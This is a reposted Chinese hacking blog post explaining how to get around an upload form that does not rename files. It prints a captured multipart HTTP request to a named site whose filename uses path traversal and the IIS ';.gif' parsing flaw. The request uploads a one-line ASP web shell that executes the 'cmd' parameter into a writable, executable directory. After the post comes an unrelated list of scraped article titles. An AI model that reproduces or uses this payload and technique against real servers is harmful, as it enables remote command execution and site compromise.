方法不错,首先就是不强制改上传文件名。还有就是上传目录没有执行的权限。

然后用这方法貌似就可以上传到上级可写目录了。

比如抓这是抓的上传数据包:

POST /upload/upfile.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.tmdsb.com/upload/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=—————————7da290150c5e
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.tmdsb.com
Content-Length: 448
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN
—————————–7da290150c5e
Content-Disposition: form-data; name=”act”
upload
—————————–7da290150c5e
Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web\tmdsb.asp;.gif”
Content-Type: text/plain
<%execute(request("cmd"))%>
—————————–7da290150c5e
Content-Disposition: form-data; name=”Submit”
up
—————————–7da290150c5e–
然后看关键是:

Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web\tmdsb.asp;.gif”

我首先呢。 filename他是如何判断 那个开始就是文件名呢?

他是判断filename里的最右边的一个”\”以后的就是文件名字了。

大家因该知道。 在windows下 “\” 和 “/” 是不分家的。

假设上传之后的目录为upload/

然后一个可以执行可以写的目录为 tmdsb/

那么我们只要构造

Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web\./../tmdsb/tmdsb.asp;.gif”

上传的文件就成功的传进去了 tmdsb/tmdsb.asp;.gif了。

当然还要配合IIS漏洞才行(在只能上传图片的情况下)要是直接能上传asp的话就

没所谓了。

转载于:https://www.cnblogs.com/mujj/articles/2018793.html

不改文件名的情况下上传突破相关推荐

  1. 【云和恩墨大讲堂】罗海雄 | 如何在不改SQL的情况下优化数据库

    "云和恩墨大讲堂" 线上课程周四晚继续开讲.本期我们邀请的嘉宾是云和恩墨北区技术专家 - 罗海雄,跟大家分享如何在不改SQL的情况下优化数据库.课程以图文形式在微信课堂群全程同步直 ...

  2. 教你在Windows下上传iOS APP ipa到苹果应用商店App Store

    比appuploader更快捷方便的平台-初雪云(chuxueyun),初雪云是一个非常快捷的应用上传工具,介绍下我们的平台:怎么上传iPA到AppStore?在线上传IPA包无需Mac电脑,wind ...

  3. linux下上传系统中文件到gitHub

    linux下上传系统中文件到gitHub 一: 1系统下生成公钥 #ssh-keygen 一路回车即可 2对公钥进行复制 #cat .shh/id_rsa.pub 3将公钥复制到github中 首先要 ...

  4. Cisco路由器在rommon模式下上传IOS方法

    Cisco路由器在rommon模式下上传IOS方法: 1.通过tftp方式 在rommon>模式下输入以下命令: IP_ADDRESS=10.32.82.1 IP_SUBNET_MASK=255 ...

  5. 关于tomcat环境下上传大文件遇到的问题及解决办法

    转载自:http://blog.csdn.net/tqwwilliam/article/details/7108247 问题描述: 关于tomcat环境下上传大文件遇到的问题及解决办法 解决方案: 1 ...

  6. linux 传文件夹,linux下上传下载文件夹的方法

    Linux下目录复制:本机->远程服务器 scp -r /home/shaoxiaohu/test1 zhidao@192.168.0.1:/home/test2 test1为源目录,test2 ...

  7. 解决IE8下上传文件问题,无需flash,无需html5

    解决IE8下上传文件问题 场景:实现上传文件功能,重写上传按钮样式,并需要得到后台返回的数据来动态修改页面. 要求:不需要flash以及其他额外需要的东西. 尝试过的方法:1.webuploader. ...

  8. 【杂谈】解决Windows系统下上传速度慢的一个小技巧

    这两天郁闷了,硬盘坏了,里面的东西找不回来,毕业设计只能重做,然而重做就重做吧,吸取教训把项目放网盘里,结果TM还上传不上去,真是够了,几经波折折腾到个方法,记录分享一下,这个方法WIN7&W ...

  9. [转载]linux下上传文件真的需要ftp么?

    本文转自JiangYao's Blog >>利用ssh传输文件 在linux下一般用scp这个命令来通过ssh传输文件. 1.从服务器上下载文件 scp username@serverna ...

最新文章

  1. matlab传递闭包动态聚类图,用SPSS制作3D散点图全方位动态展示K均值聚类效果
  2. nexus搭建maven私服
  3. swift解析html数据类型,ios-Swift:以标签或textVi显示HTML数据
  4. linux u盘加载阵列卡驱动步骤,Linux U盘加载阵列卡驱动步骤
  5. 再谈共相式GIS和ArcObjects
  6. mysqld --debug-sync
  7. MySQL 5.7 多实例单配置 多实例多配置文件安装 | 资料
  8. 记录:zlog交叉编译出aarch64的libzlog.a
  9. AMS1117-3.3的电路分析
  10. WordPress热门网站主题汇总(长期更新)
  11. 华为服务器型号分类,华为服务器型号介绍
  12. 网络棋牌游戏用户群体
  13. 从5.56*45mm NATO弹看塔科夫的数据严谨性
  14. Google网络硬盘(GDrive):千呼万唤不出来
  15. Java并发编程模拟管程(霍尔Hoare管程、汉森Hansan管程、MESA管程)
  16. OFFICE 您正试图运行的函数包含有宏或需要宏语言的解决方法
  17. vue3 +Element-puls ,table 中使用$refs修改scrollTop 到顶部
  18. pycharm验证码
  19. linux 看硬件配置 命令2
  20. 易车第三季营收27亿 张序安:继续专注执行三个战略重点

热门文章

  1. 如何破解汽车-快速的速成课程
  2. iscsi网络磁盘共享
  3. CentOS安装Oracle全过程
  4. linux设置nexus开机自启动_在linux中使用nexus搭建maven私服
  5. git rebase 和 git merger
  6. 从HelloWorld看Knative Serving代码实现
  7. a标签是什么意思 怎么使用?
  8. 【WEB API项目实战干货系列】- API登录与身份验证(三)
  9. Qunee for HTML5 V2.5新版本发布
  10. 2018-3-25论文(Whale Optimizer Algorithm)+(Gery Wolf Optimizer)笔记二---Introduction 对比